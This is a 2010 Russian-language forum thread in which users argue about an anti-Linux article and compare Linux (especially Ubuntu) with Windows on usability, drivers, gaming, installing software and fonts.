Остальные выпады - просто голословные попытки очернить линуксоидов и осветлить гейтса...

16. Доброе утро! прошло 20 лет уже а всё ссылаемся на 1991... Да и вспоминая виндовс того года - графическая нахлобучка на псевдомултизадачный дос? при том что под никсами многозадачность была в 1969 году реализована? это, несомненно, огромный шаг вперёд!

Монолитное ядро действительно сомнительное удовольствие. Но только не такое уж оно и монолитное как хочет показать автор. ядро есть ядро но операционная система не состоит из одного ядра. У линуксов сейчас скорее модульное нежели монолитное ядро... Опять пустое сотрясание воздуха в общем...
Хотя и улыбнула фраза об исходниках ядра в несколькосот килобайт)

17. О да... а посмотреть принцип работы компьютера значитаельно проще в виндах где исходников нет по определению и нет никакой документации по взаимодействию элементов системы значительно проще...

18. Даже автор признал феил виндов в этом вопросе)
Линуксы как будут работать на таком железе? сложный вопрос... современные наверное никак... хотя и нет ничего невозможного, думается мне, просто я лично не в состоянии так его порезать)

Дальше не читал ибо по ссылке у топикстартера нет остальных пунктов а на стоплинуксе лазить некогда да и не охота если честно....

Добавлено через 15 минут
Цитата:
Сообщение от astala Посмотреть сообщение
И тут до меня дошло, что такое виндовс. Я ее использую исключительно как ИГРОВУЮ ПЛАТФОРМУ. И вот тут я ЗА Майкрософт. Плачу и за ОС, и за игры. Получаю массу удовольствия, и альтернатив пока не наблюдаю.

Может быть, развитие Windows, как игровой платформы – это и есть правильное направление развития MS?

вах! абсолютно точно подмечено!
__________________
Каждый человек, которому вы ответили на форуме "гугл в помощь" - потенциальный "возвращенец" в винды. (ц)
Alan2006 вне форума
 
Вверх
Старый 16.06.2010, 17:20   #4
Lorte
Постоялец
 
Аватар для Lorte
 
Пол:Мужской
Регистрация: 06.05.2007
Сообщений: 247
Репутация: 116
По умолчанию Re: Linux против Windows

Народ!
Эта статья взята с сайта стоплинукса: http://stoplinux.org.ru/
Я посмотрел этот сайт, и мой вывод таков: сайт сделан либо специально, чтобы обгадить Линукс и СПО, либо сайт делают обычные тролли, коих в инете тонны. Цель у троллей только одна: натолкнуть людей на массовый флуд.
И вы сами видите, что эта статья, равно как и другие статьи с этого сайта, написаны непрофессионалами.
Поэтому предлагаю не опускаться до уровней непрофессионалов и троллей и прекратить обсуждение этой статьи, равно как и других статей со стоплинукса.

ИМХО каждый сам для себя разберётся, что ему нужнее: Линукс, Виндовс или МакОС.

Последний раз редактировалось Lorte; 16.06.2010 в 18:57..
Lorte вне форума
 
Вверх
Старый 16.06.2010, 19:46   #5
AngelX
Неактивный пользователь
 
Аватар для AngelX
 
Пол:Мужской
Регистрация: 30.09.2008
Адрес: ラストメモリス
Сообщений: 13
Репутация: 3
По умолчанию Re: Linux против Windows

Сколько пафоса! Этот высер я уже видел очень давно и дико ржал во время чтения. Как говорится, "Не читайте по утрам советских газет".

Нужны и Linux, и Windows, и MacOS. Нужны даже Haiku (открытая BeOS, моя первая любовь . Если Гайку допилят, то она станет достаточно преспективной и современной системой, только когда это наступит...), Solaris и FreeBSD. Надо просто понимать, какая система для чего будет лучшим решением. А холивары - полностью бессмысленное занятие.

Цитата:
Сообщение от astala Посмотреть сообщение
И тут до меня дошло, что такое виндовс. Я ее использую исключительно как ИГРОВУЮ ПЛАТФОРМУ. И вот тут я ЗА Майкрософт. Плачу и за ОС, и за игры. Получаю массу удовольствия, и альтернатив пока не наблюдаю.

Правильно, но так сложилось лишь исторически, а не из-за особенностей системы. Та же Linux с OpenGL вполне может быть платформой для игр, но из-за чрезвычайно низкой популярности нет мотивации разрабатывать довольно сложные проекты GameDev'а. Но и тут есть кое-какие изменения. Легендарная Valve может перевернуть ситуацию вспять. Выпуск Steam и игр под платформу Мак дает полные основания полагать, что и для Linux настанут таки времена хороших игр. Я лично куплю диски с играми Half-Life, если они будут выпущены нативно для Linux. У меня даже есть предположение, что HL2E3 уже выйдет для UNIX платформ.

Цитата:
Сообщение от astala Посмотреть сообщение
Может быть, развитие Windows, как игровой платформы – это и есть правильное направление развития MS?

Смотря на последние выпущенные игры... Консоли правят балом. Nuff said.

Цитата:
Сообщение от Lorte Посмотреть сообщение
сайт сделан либо специально, чтобы обгадить Линукс и СПО, либо сайт делают обычные тролли, коих в инете тонны

В любом случае, по моему скромному мнению, это сайт и пользы не приносит, ни вреда не несет. Я иногда почитываю их обзоры дистров и у меня очень часто глаза лезут на лоб - они там такие проблемы находят, хоть в лес не ходи. Помню еще обиделся, когда я обломался при попытке воспроизвести баги, рассмотренные в обзоры Mandriva 2010.0...
__________________
Японский линуксоид русского розлива.

Последний раз редактировалось AngelX; 16.06.2010 в 20:18..
AngelX вне форума
 
Вверх
Старый 16.06.2010, 19:53   #6
Arnee
Постоялец
 
Аватар для Arnee
 
Пол:Мужской
Регистрация: 03.07.2005
Сообщений: 547
Репутация: 179
По умолчанию Re: Linux против Windows

Цитата:
Сообщение от Lorte Посмотреть сообщение
Я посмотрел этот сайт, и мой вывод таков: сайт сделан либо специально, чтобы обгадить Линукс

Ну-ну,не стоит воспринимать так серьезно..Уж пингвинятники-то не с восхвалений Windows начинали...
__________________
[Для просмотра ссылок требуется регистрация. Зарегистрироваться...]
Arnee вне форума
 
Вверх
Старый 16.06.2010, 20:09   #7
ship
Пользователь
 
Аватар для ship
 
Пол:Мужской
Регистрация: 08.06.2008
Адрес: Москва
Сообщений: 79
Репутация: 43
По умолчанию Re: Linux против Windows

Цитата:
Сообщение от Lorte Посмотреть сообщение
Народ!
Эта статья взята с сайта стоплинукса:
Скрытый текст (требуется 100 сообщение(ий), сейчас у вас 83):
У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.

Lorte, как ты жестоко ссылку закрыл... Наверно, что б я на тот злобный сайт не попал.
ship вне форума
 
Вверх
Старый 16.06.2010, 20:21   #8
AngelX
Неактивный пользователь
 
Аватар для AngelX
 
Пол:Мужской
Регистрация: 30.09.2008
Адрес: ラストメモリス
Сообщений: 13
Репутация: 3
По умолчанию Re: Linux против Windows

Цитата:
Сообщение от ship Посмотреть сообщение
Lorte, как ты жестоко ссылку закрыл... Наверно, что б я на тот злобный сайт не попал.

Use Google, Luke! И да, там делать абсолютно нечего, если только забавы ради.
__________________
Японский линуксоид русского розлива.
AngelX вне форума
 
Вверх
Старый 17.06.2010, 09:11   #9
Alan2006
Постоялец
 
Пол:Мужской
Регистрация: 02.07.2009
Сообщений: 393
Репутация: 79
По умолчанию Re: Linux против Windows

Цитата:
Сообщение от Lorte Посмотреть сообщение
Народ!
Эта статья взята с сайта стоплинукса: *** скрытый текст ***
Я посмотрел этот сайт, и мой вывод таков: сайт сделан либо специально, чтобы обгадить Линукс и СПО, либо сайт делают обычные тролли, коих в инете тонны. Цель у троллей только одна: натолкнуть людей на массовый флуд.
И вы сами видите, что эта статья, равно как и другие статьи с этого сайта, написаны непрофессионалами.
Поэтому предлагаю не опускаться до уровней непрофессионалов и троллей и прекратить обсуждение этой статьи, равно как и других статей со стоплинукса.

Пристыдил. Мне аж стыдно за мою простынку стало....

Цитата:
Сообщение от Arnee Посмотреть сообщение
Ну-ну,не стоит воспринимать так серьезно..Уж пингвинятники-то не с восхвалений Windows начинали...

ссылку фстудию
__________________
Каждый человек, которому вы ответили на форуме "гугл в помощь" - потенциальный "возвращенец" в винды. (ц)
Alan2006 вне форума
 
Вверх
Старый 18.06.2010, 19:47   #10
astala
Пользователь
 
Пол:Мужской
Регистрация: 14.05.2010
Сообщений: 37
Репутация: 13
По умолчанию Re: Linux против Windows

Приятно слышать столько положительных отзывов о Linux...
Очень рад, что на эту статью воспринимать всерьез не стоит... =)
А то я сейчас начал готовить проект о внедрении Linux на работе. В сети около 100 компов. Хорошая возможность получить бесценный опыт в администрировании =)
astala вне форума
 
Вверх
Старый 18.06.2010, 20:01   #11
Arnee
Постоялец
 
Аватар для Arnee
 
Пол:Мужской
Регистрация: 03.07.2005
Сообщений: 547
Репутация: 179
По умолчанию Re: Linux против Windows

Цитата:
Сообщение от Alan2006 Посмотреть сообщение
ссылку фстудию

Linux must die - кто нибудь видел аналоги подобных изречений со стороны пользователей Windows?
Linux? what a f@ck is that? - Максимум,что можно услышать.
Все это гавканье из разряда "собака лает - караван идет"...
Все потуги взглянуть свысока на ОС для домохозяек оправдают себя только в одном случае - когда "обычные","рядовые" пользователи радостно станут использовать
систему для "кул хацкеров".
__________________
[Для просмотра ссылок требуется регистрация. Зарегистрироваться...]
Arnee вне форума
 
Вверх
Старый 19.06.2010, 08:58   #12
Lorte
Постоялец
 
Аватар для Lorte
 
Пол:Мужской
Регистрация: 06.05.2007
Сообщений: 247
Репутация: 116
По умолчанию Re: Linux против Windows

Цитата:
Сообщение от astala Посмотреть сообщение
Приятно слышать столько положительных отзывов о Linux...
Очень рад, что на эту статью воспринимать всерьез не стоит... =)

Обо@@ать можно всё, что угодно, даже "идеальную" MacOS. В любой системе и в любой программе есть свои достоинства и недостатки, и придраться можно к чему угодно.
Профессионалы уже давно знают, что Линукс на две головы выше виндозы, а у виндозы на данный момент есть только одно весомое преимущество - поддержка разработчиков и производителей: под неё больше всего написано софта и драйверов. Хотя с выходом Windows Vista и Windows7 вопрос с драйверами стал спорным: что в W7 не работает половина оборудования, что в Линуксе.

P.S.: мож быть мне выложить в инете статью, рассказывающую обо всех "прелестях" виндозы, и назвать её, к примеру, StopWindows?

UPD: пардон, похоже, меня опередили
http://stopwindows.org.ru/

Последний раз редактировалось Lorte; 19.06.2010 в 09:14..
Lorte вне форума
 
Вверх
Старый 19.06.2010, 12:34   #13
Arnee
Постоялец
 
Аватар для Arnee
 
Пол:Мужской
Регистрация: 03.07.2005
Сообщений: 547
Репутация: 179
По умолчанию Re: Linux против Windows

Цитата:
Сообщение от Lorte Посмотреть сообщение
Профессионалы уже давно знают, что Линукс на две головы выше виндозы,

Да нет,уважаемый,просто это профессионалы.Профессионалы использования WIndows - докажут вам обратное.
Главное не кичится этим профессионализмом сверх необходимой меры.

Приходит на ум пара постов из мое локальной сети : админ подхихикивая постит сообщения,какие тупые юзвери приходят\звонят в техподдержку.
И как это,человек не умеет настроить маршрутизацию,да ВПН не может настроить,да вирус не умеет вылечить.
На что ему резонно отвечают - вот незадача,да только он гляди,на Порше подъехал..Видать настроил маршрутизацию бензина по области..А ты как давил клопов,так и будешь
всю оставшуюся жизнь.

Так что не оскорбляйте пользователей,дорогие линуксоиды,им не и интересны маны и конфиги.

Добавлено через 6 минут
Цитата:
Сообщение от Lorte Посмотреть сообщение
http://stopwindows.org.ru/

Хороший сайт

Добавлено через 4 минуты
Цитата:
Сообщение от Lorte Посмотреть сообщение
даже "идеальную" MacOS

Security trough obscurity?



Кстати,вот выдержка с сайта [Для просмотра ссылок требуется регистрация. Зарегистрироваться...] :

Цитата:
Хватит врать миру: айтишникам линукс на десктопе нужен не больше, чем остальным пользователям, и ровно с теми же целями — любопытство и выпендрёж.

__________________
[Для просмотра ссылок требуется регистрация. Зарегистрироваться...]

Последний раз редактировалось Arnee; 19.06.2010 в 11:47..
Arnee вне форума
 
Вверх
Старый 19.06.2010, 13:43   #14
dvolodia
Ветеран
 
Аватар для dvolodia
 
Пол:Мужской
Регистрация: 21.10.2004
Адрес: Львов
Сообщений: 2,776
Репутация: 1795
По умолчанию Re: Linux против Windows

Цитата:
Профессионалы уже давно знают, что Линукс на две головы выше виндозы, а у виндозы на данный момент есть только одно весомое преимущество - поддержка разработчиков и производителей: под неё больше всего написано софта и драйверов.

Ну тут все зависит, от того с какой точки зрения оценивать систему, с точки зрения самостоятельного ковыряния и модификации, или с точки зрения дружественности к малоквалифицированному пользователю.

Уже месяца два балуюсь линуксом, UBUNTU в тестовом режиме, впечатления не ахти.

Интерфейс - в Windows XP вылизан по максимуму, а вот в UBUNTU, особенно в родном для нее firefox, выглядит коряво. Конечно, если залезть в настройки оформления Windows, и наверно порыться по форумам UBUNTU, ситуацию можно поменять на обратную, но из коробки этого нет. А поддержка флеша - это вообще катастрофа.

Драйвера. UBUNTU предлагает драйвера для большинства устройств из коробки, но если их нет, начинаются проблемы, близкие к неразрешимым. Чтобы заставить работать свою вебкамеру, пришлось изрядно погуглить. Для менее квалифицированного пользователя задача будет невыполнимой. То есть при ориентации под линукс желательно все железо перед покупкой проверять на совместимость. Только я вот не наблюдаю (хотя специально не искал) централизованного ресурса, где такой информацией можно было бы разжиться.

Обновление, доустановка программ. Тут впереди Windows - скачиваешь екзешник с интернета, приносишь домой,клик, и готово. Линукс с его пакетами в этом отношении для неквалифицированного пользователя гораздо сложнее. Особенно, если на целевом компьютере интернет отсутствует. Если нет есть, то тут, возможно, даже и проще чем в Windows, запускаешь например плеер, и он докачивает необходимые кодеки. А напортачить можно одинаково успешно в обоих системах. И вообще, что это за система (это про UBUNTU), в которой из коробки отсутствует полноценная поддержка русского языка, сразу нужно чего-то там докачивать

Настройка системы. Тут опять таки впереди Windows, все можно делать из графического интерфейса, в UBUNTU без командной строки никак, ну а недостаток командной строки - отсутствие кнопочек с поясняющими надписями, все команды нужно искать в интернете. Причем централизованного ресурса с подробным описанием команд и опций не существует, нужно копаться и собирать по кусочкам.. Ну и информативность существующих графических утилит похуже, чем у Windows. Нет конечно если работать с ним постоянно, можно все выучить наизусть, но в Windows я просто знаю, в какое место приблизительно нужно ткнуться, а дальше по знакомым кнопочкам потыкаю, а командную строку зубрить надо.

Вот такое вот небольшое резюме пользователя, который решил пощупать, что такое линукс, и как его жевать. Общий вывод - единственное серьезное достоинство линукса состоит в его бесплатности.

Последний раз редактировалось dvolodia; 19.06.2010 в 13:47..
dvolodia вне форума
 
Вверх
Старый 19.06.2010, 13:56   #15
Arnee
Постоялец
 
Аватар для Arnee
 
Пол:Мужской
Регистрация: 03.07.2005
Сообщений: 547
Репутация: 179
По умолчанию Re: Linux против Windows

Цитата:
Сообщение от dvolodia Посмотреть сообщение
единственное серьезное достоинство линукса состоит в его бесплатности.

Которой в Windows можно добиться,прекратив использование администраторской учетной записи для повседневных нужд.

Не лишне упомянуть,я не противник Linux ,я ее пользователь (для специфических нужд) - просто уже надоели вопли тех,кто себе поставил Мандриву - и кричит "Я знаю Линукс!!!"

Добавлено через 8 минут
Цитата:
Сообщение от dvolodia Посмотреть сообщение
Интерфейс - в Windows XP вылизан по максимуму, а вот в UBUNTU, особенно в родном для нее firefox

Ну тогда стоит поставить Kubuntu,потому что Gnome - действительно неотесан (по умолчанию устанавливается в Ubuntu).Так вот KDE на порядок графичнее
(не скажу красивее,это все субьективно),чем интерфейс в ХР и может конкурировать с Аеро.Да только это все не Linux,
это рюшечки ,на него навешанные - если нужен супер рабочий стол - ставьте Compiz -
и он своей бестолковой красивостью выбесит через пару дней.

А то,что вы упомянули - "особенно в firefox выглядит коряво" - это шрифты,болезнь Linux с рождения.Просто Apple напару с Microsoft подсуетились и запатентовали
штрифты True Type. А Linux довольствуется поделками своих разработчиков.
__________________
[Для просмотра ссылок требуется регистрация. Зарегистрироваться...]

Последний раз редактировалось Arnee; 19.06.2010 в 13:59..
Arnee вне форума
 
Вверх
Закрытая тема
 Уважаемые пользователи портала 2BakSa.NeT и форума NoWa.cc !

  Рады Вам сообщить, что у нас открылся Torrent трекер >> BRODIM.COM

  Приглашаем вас принять участие в обмене полезной информацией,

  и ждем от вас поддержки в создании новых раздач.

Опции темы

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ALT Linux за и против artem_sv UNIX, Linux, MacOs для PC и другие ОС 59 18.02.2013 07:27
Попов против Гейтса: тагильский школьник разработал аналог Windows agapit1001 UNIX, Linux, MacOs для PC и другие ОС 49 31.01.2011 19:22
Linux&windows need help LexRider Скорая помощь 15 10.09.2009 12:46
Linux или Windows? Голосование, "Ты готов перейти на Linux?" exanson UNIX, Linux, MacOs для PC и другие ОС 1346 13.08.2008 13:54
WINDOWS ХР 64 за и против _stalker_V_ Microsoft Windows 1 06.02.2006 11:31

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 12:07. Часовой пояс GMT +3.


Rambler's Top100
Copyright ©2004 - 2018 2Baksa.Net

Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc. Перевод: zCarot
Время генерации страницы 0.20704 секунды с 10 запросами